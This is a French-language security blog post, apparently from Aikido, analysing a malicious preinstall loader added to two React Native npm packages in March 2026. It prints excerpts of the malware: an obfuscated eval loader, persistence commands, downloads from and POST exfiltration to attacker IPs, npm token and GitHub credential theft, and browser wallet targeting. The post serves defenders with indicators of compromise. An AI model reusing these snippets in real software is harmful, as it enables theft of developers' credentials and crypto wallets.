Aikido

Glassworm cible des packages React Native populaires de numéros de téléphone

Écrit par
Raphael Silva

Des versions correspondantes du 16 mars 2026 ont ajouté un malware de pré-installation obfusqué aux packages du même éditeur

Le 16 mars 2026, deux packages npm React Native de la AstrOOnauta ont été piégés lors d'une attaque coordonnée sur la chaîne d'approvisionnement. Les deux versions ont ajouté un chargeur identique, exécuté au moment de l'installation, qui récupère et exécute un voleur de credentials et de cryptomonnaies Windows en plusieurs étapes, déclenché par une simple routine npm install. Les packages affectés sont react-native-country-select@0.3.91 et react-native-international-phone-number@0.11.8.

Dans les deux cas, le code malveillant est introduit via un nouveau preinstall hook qui s'exécute avant la fin d'une installation npm normale, ce qui signifie que les développeurs, les runners CI et les agents de build peuvent déclencher le malware simplement en installant le package.

En suivant la même chaîne utilisée par le malware, nous avons récupéré l'artefact de deuxième étape en direct et déchiffré la charge utile suivante. Cette charge utile plus profonde est un voleur de cryptomonnaies et de credentials ciblant Windows, doté de persistance et de la capacité de livrer des composants supplémentaires.

Le 16 mars 2026, l'API de téléchargements npm a signalé 9 072 téléchargements la semaine dernière pour react-native-country-select et 20 691 pour react-native-international-phone-number, pour un total combiné de 29 763 téléchargements hebdomadaires. Au cours du dernier mois, la même API a signalé 42 589 et 92 298 téléchargements, respectivement, pour un total combiné de 134 887 téléchargements mensuels.

Ce qui s'est passé

Les versions adjacentes précédentes que nous avons vérifiées, react-native-country-select@0.3.9 et react-native-international-phone-number@0.11.7, n'incluent pas de preinstall hook et ne livrent pas l'installeur malveillant. Les versions du 16 mars 2026 ajoutent les deux.

La chronologie :

  • react-native-international-phone-number@0.11.8 a été publié le 16 mars 2026, à 10:49:29 UTC.  
  • react-native-country-select@0.3.91 a été publié le 16 mars 2026, à 10:54:18 UTC.  
  • Les versions adjacentes antérieures pour les deux packages ont été publiées le 13 mars 2026.

Ce schéma suggère une fenêtre de compromission le même jour affectant plusieurs packages du même éditeur.

Comment le malware a fonctionné

Étape 1 : Exécution au moment de l'installation

Les deux versions malveillantes ajoutent le même hook de cycle de vie de package :

"scripts": {
    "preinstall": "node install.js"
}

Le install.js Le fichier est obfusqué, contacte une infrastructure externe, récupère une charge utile de second étage et l'exécute dynamiquement.

L'installeur original livré affiche directement la récupération RPC Solana :

let y = await fetch(S, {
    'method': e(0x45b, 'nSeb', 0x48f, 0x42b),
    'headers': M,
    'body': JSON[d(0x473, 'kjpv', 0x42d, 0x471)]({
        'jsonrpc': e(0x42c, ')qo^', 0x477, 0x425),
        'id': 0x1,
        'method': 'getSignatu' + e(0x441, 'PhAy', 0x42c, 0x45e) + d(0x4bb, '6bCJ', 0x4b3, 0x4d3),
        'params': [H[d(0x50d, '%Rah', 0x527, 0x4f7)](), t]
    })
});

Plus tard dans le même fichier original, l'installeur exécute la charge utile récupérée :

if (u?.[J(0x4ca, 'h(yv', 0x4ad, 0x49a)] == 0x14) {
    eval(atob(u));
    return;
}
if (h[w(0x6c8, 0x6c8, 'pw9N', 0x679)]() == J(0x4c1, 'WZok', 0x4f8, 0x543)) {
    let _iv = Buffer[J(0x4be, 'hcSr', 0x4b8, 0x4f9)](S, 'base64');
    eval(atob(u));
}

Il s'agit d'une exécution de code étagée lors de l'installation du package.

Étape 2 : Vérification de la locale russe

L'installeur ne s'exécute pas aveuglément partout. Il intègre un filtre d'environnement explicite pour les signaux de langue et de fuseau horaire russes avant de poursuivre. Dans le code original livré, il vérifie des valeurs telles que ru_RU, ru-RU, Russian, et russian:

let n = [
  h['userInfo']()[k(-0xe4, 'nhpn', -0x109, -0xd4)],
  process[k(-0x10f, 'A0gN', -0xf6, -0x151)][B('Fhk]', 0x6cb, 0x636, 0x675)],
  process[B('uKoI', 0x5e9, 0x5b4, 0x5f0)]['LANGUAGE'],
  process[k(-0x100, 'aiAw', -0x139, -0x124)]['LC_ALL'],
  Intl[
    B('uxDz', 0x698, 0x5f4, 0x648) + k(-0x135, 'sDd5', -0xe9, -0x108)
  ]()[k(-0xdd, 'apC#', -0x98, -0xb0) + 'tions']()[k(-0xf9, '94Hn', -0xcb, -0xc5)]
][k(-0xf7, '8MCe', -0xa4, -0xc0)](
  u => u && /ru_RU|ru-RU|Russian|russian/i[B('hcSr', 0x666, 0x6a5, 0x654)](u)
);

Le même bloc vérifie également les noms de fuseaux horaires et les décalages UTC associés à la Russie. Ce type d'exclusion géographique ou linguistique est courant dans les malwares criminels, en particulier ceux provenant de Russie ou d'acteurs de menaces russophones.

Étape 3 : Récupération du mémo Solana et livraison de la seconde étape

Nous avons suivi les mêmes étapes que le malware :

  1. Extraire le compte Solana de l'installeur obfusqué.  
  2. Interroger la même getSignaturesForAddress méthode RPC que le package utilise.  
  3. Récupérer le mémo de transaction qui contient un élément encodé en base64 link.  
  4. Récupérer cette URL comme contenu inerte et conserver les en-têtes de réponse HTTP.  
  5. Décoder le corps de réponse et inspecter la couche suivante de manière statique.  
  6. Utilisez les valeurs renvoyées secretkey et ivbase64 pour déchiffrer la charge utile intégrée sans l'exécuter.

La réponse de la deuxième étape obtenue a fourni exactement le matériel nécessaire pour déchiffrer la couche suivante :

secretkey: szfNmayz6fgt6ojbAuVhjEAOWMMxw7iS
ivbase64: ZMM7q5jBwUbsYFo7/8ZdxA==

L'URL de la deuxième étape récupérée était :

http://45[.]32[.]150[.]251/3e4Tg8V%2F8aCmOJKipASADg%3D%3D

Et le corps de la deuxième étape obtenu commence comme un autre script de déchiffrement original :

var crypto=require("crypto"),d=crypto.createDecipheriv("aes-256-cbc",secretKey,_iv),b=d.update("e44249441ac275c58c208f8011873821...

Étape 4 : La troisième étape récupérée persiste et télécharge d'autres composants

La charge utile déchiffrée par AES est la troisième étape récupérée. C'est à ce stade que la chaîne devient un voleur de données et un téléchargeur ciblant Windows.

Il établit la persistance via schtasks et la Exécutez clé de registre :

schtasks / create / tn "UpdateApp" / tr "powershell -ExecutionPolicy Bypass -File ${ps1Path}" / sc onstart / rl highest / f$rPath = "HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
$randomName = "DPKCbbQ"
$command = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File ${ps1Path}"
New - ItemProperty - Path $rPath - Name $randomName - PropertyType String - Value $command - Force

Il écrit également un ~\\init.json fichier d'état et le réutilise comme garde de persistance et d'exécution :

const duplicate = path.join(LnwdVr, 'init.json');
...
fs.writeFileSync(duplicate, JSON.stringify({
    init: true,
    update: null,
    date: new Date().getTime(),
    version: '2.27',
    uuid: data?.uuid ? data.uuid : makeid(14)
}));

Étape 5 : La troisième étape utilise Google Calendar comme couche d'indirection supplémentaire

L'URL de Google Calendar apparaît plus tard, à l'intérieur du JavaScript de la troisième étape récupérée, où cette troisième étape utilise calendar.app.google pour récupérer un slug encodé en base64 avant de demander un autre script à partir de 45[.]32[.]150[.]251.

Voici le code original :

QGrJayHbkY(atob('aHR0cHM6Ly9jYWxlbmRhci5hcHAuZ29vZ2xlLzJOa3JjS0tqNFQ2RG40dUs2'), (err, link) => mzIcfsRBX(atob(link), mzIcfsRBXCall));
...
http.get('http://45.32.150.251' + slug, (res) => {

Ainsi, dans l'ordre, la chaîne est :

  1. npm preinstall s'exécute install.js  
  2. install.js interroge le RPC Solana et récupère la deuxième étape  
  3. La deuxième étape décrypte et exécute la troisième étape  
  4. La troisième étape contacte Google Calendar  
  5. La troisième étape utilise le slug récupéré pour récupérer du contenu additionnel depuis 45[.]32[.]150[.]251

Cette indirection est importante car elle offre aux opérateurs un point de contrôle flexible plus tard dans la chaîne. Ils peuvent modifier le chemin en aval sans avoir à republier le package npm, et l'utilisation d'une URL appartenant à Google peut aider la chaîne à se fondre dans un trafic autrement normal.

Ceci est également intéressant dans un contexte de recherche plus large. L'année dernière, nous avons publié un article sur la distribution de malwares via les invitations Google Calendar et les PUA. Consultez-le ici pour en savoir plus : Vous êtes invité ! Distribution de malwares via les invitations Google Calendar et les PUA.

Preuve

La preuve la plus solide est que le chargeur introduit dans les deux packages est identique au niveau des octets. Le install.js fichier dans les deux versions malveillantes a le SHA-256 suivant :

59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

Les différences de version sont également inhabituellement propres. Pour les deux packages, le comportement malveillant est introduit par les deux mêmes modifications :

  • une nouvelle install.js  
  • une nouvelle preinstall entrée dans package.json

Pour react-native-country-select, le saut malveillant provient de 0.3.9 à 0.3.91.

Pour react-native-international-phone-number, le saut malveillant provient de 0.11.7 à 0.11.8.

Un détail rend l'affaire encore plus intéressante : react-native-international-phone-number@0.11.8 dépend de react-native-country-select@0.3.9, qui semble être la version adjacente propre antérieure, et non la version malveillante 0.3.91. Cela suggère que le deuxième package a également été directement piégé au lieu de simplement hériter du problème d'une mise à jour de dépendance.

Ce que fait la charge utile récupérée

La troisième étape récupérée est un stealer et un downloader ciblant Windows.

Un point que nous avons sous-estimé dans la première ébauche est que la charge utile ne se contente pas de voler quelques fichiers de portefeuille et de s'arrêter là. Elle construit également son propre environnement d'exécution, parcourt les chemins de stockage liés aux navigateurs et prépare les données pour la collecte sous le profil de la victime.

Elle télécharge ensuite des composants additionnels, décrypte les .node fichiers, les exécute et exfiltre la collection préparée :

http.get("http://45.32.150.251/get_arhive_npm/KQnO9LyllbN0ZfDWq8afrQ%3D%3D", (res) => {
...
childProcess.exec(`${path_node_g} -e "eval(atob('${_script}'))"`, (err, _2) => {
...
const options2 = {  hostname: "217.69.3.152",  port: 80,  path: "/wall",  method: "POST",

La même charge utile contient une logique de ciblage de portefeuilles pour les extensions de navigateur et les portefeuilles de bureau, incluant MetaMask, Exodus, Atomic, Guarda, Coinomi, Daedalus, Braavos, OKX Wallet et Trust Wallet. Elle dérobe également les identifiants npm et GitHub :

const token = childProcess.execSync(`npm config get //${registry.replace(/^https?:\/\//, "")}:_authToken`).toString().trim();
...
const output = childProcess.execSync("git credential fill", {  input: "protocol=https\nhost=github.com\n\n",  encoding: "utf8"});

À ce stade, la charge utile récupérée constitue une chaîne complète de vol d'identifiants et de portefeuilles.

Enseignements supplémentaires

La troisième étape récupérée télécharge également un environnement d'exécution Node.js complet depuis nodejs.org, à la fois x86 et x64, vers %APPDATA%\\_node_x86 et %APPDATA%\\_node_x64. Cela confère au logiciel malveillant un environnement d'exécution fiable, même si Node.js n'est pas déjà présent sur le système de la victime :

const urlX86 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x86.zip";
const urlX64 = "https://nodejs.org/download/release/v22.9.0/node-v22.9.0-win-x64.zip";
const folderPathX86 = path.join(process.env.APPDATA, "_node_x86");
const folderPathX64 = path.join(process.env.APPDATA, "_node_x64");

La même charge utile parcourt également le stockage des profils liés aux navigateurs. Dans le code JavaScript récupéré, elle recherche les répertoires "User Data" et "Firefox" et copie ensuite les stockages ciblés de portefeuilles et d'extensions hors de ces emplacements après avoir terminé les processus de navigateur :

var globalGBvJwwhfind = ["User Data", "Exodus", "atomic", "Electrum", "Guarda", "Coinomi", "Daedalus Mainnet", "Firefox"];
...
const out = childProcess.execSync(`tasklist /FI "IMAGENAME eq chrome.exe"`);
...
const firefox = childProcess.execSync(`tasklist /FI "IMAGENAME eq firefox.exe"`);
...
if (file.name.includes("Local Extension Settings") && depth < 3) {
    t.push(filePath);
}

Cela est cohérent avec le vol à partir des profils de navigateurs de la famille Chromium et des chemins liés à Firefox. Nous pouvons directement vérifier le ciblage des extensions de portefeuille à partir du script récupéré car il contient des identifiants d'extension pour MetaMask, Phantom, Coinbase, Rabby, OKX Wallet, Braavos, Trust Wallet et bien d'autres, ainsi que des chemins de stockage de portefeuilles de bureau tels que exodus.wallet, wallets, et Local Storage\\leveldb.

Conclusion

Ce cas ressemble à un événement coordonné de la chaîne d'approvisionnement npm affectant au moins deux packages React Native du même éditeur le même jour. Le détail le plus important n'est pas seulement que les deux versions sont malveillantes, mais qu'elles ont été modifiées de la même manière, à quelques minutes d'intervalle, avec le même chargeur étagé.

Suivre la chaîne étagée rend l'impact beaucoup plus clair. L'installateur ne se contente pas d'envoyer des balises ou de tester l'environnement. Il mène à une charge utile Windows déchiffrée qui persiste, télécharge davantage de composants, dérobe les données de portefeuille, dérobe les identifiants npm et GitHub, et exfiltre les archives collectées vers une infrastructure contrôlée par l'attaquant.

Indicateurs de Compromission

Packages malveillants :

  • react-native-country-select@0.3.91  
  • react-native-international-phone-number@0.11.8

Hash du chargeur partagé :

  • 59221aa9623d86c930357dba7e3f54138c7ccbd0daa9c483d766cd8ce1b6ad26

Domaines associés :

  • Socket[.]network  
  • n[.]xyz  
  • p[.]link  
  • 45[.]32[.]150[.]251  
  • 217[.]69[.]3[.]152  
  • calendar[.]app[.]google/2NkrcKKj4T6Dn4uK6

Détection et Protection

Si vous utilisez déjà Aikido, ces packages seraient signalés dans votre flux comme une détection critique (100/100).

Pas encore sur Aikido ? Créez un compte gratuit et liez vos dépôts. Le plan gratuit inclut notre couverture de détection de malwares (aucune carte de crédit requise).

Enfin, un outil capable d'arrêter les logiciels malveillants de la supply chain en temps réel dès leur apparition peut prévenir une infection grave. C'est l'idée derrière Aikido Safe Chain, un outil gratuit et open source qui s'intègre à npm, npx, yarn, pnpm et pnpx, et utilise à la fois l'IA et des chercheurs en logiciels malveillants pour détecter et bloquer les derniers risques de la supply chain avant qu'ils n'entrent dans votre environnement.

Partager :

https://www.aikido.dev/blog/glassworm-strikes-react-packages-phone-numbers

Abonnez-vous pour les actualités sur les menaces.

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.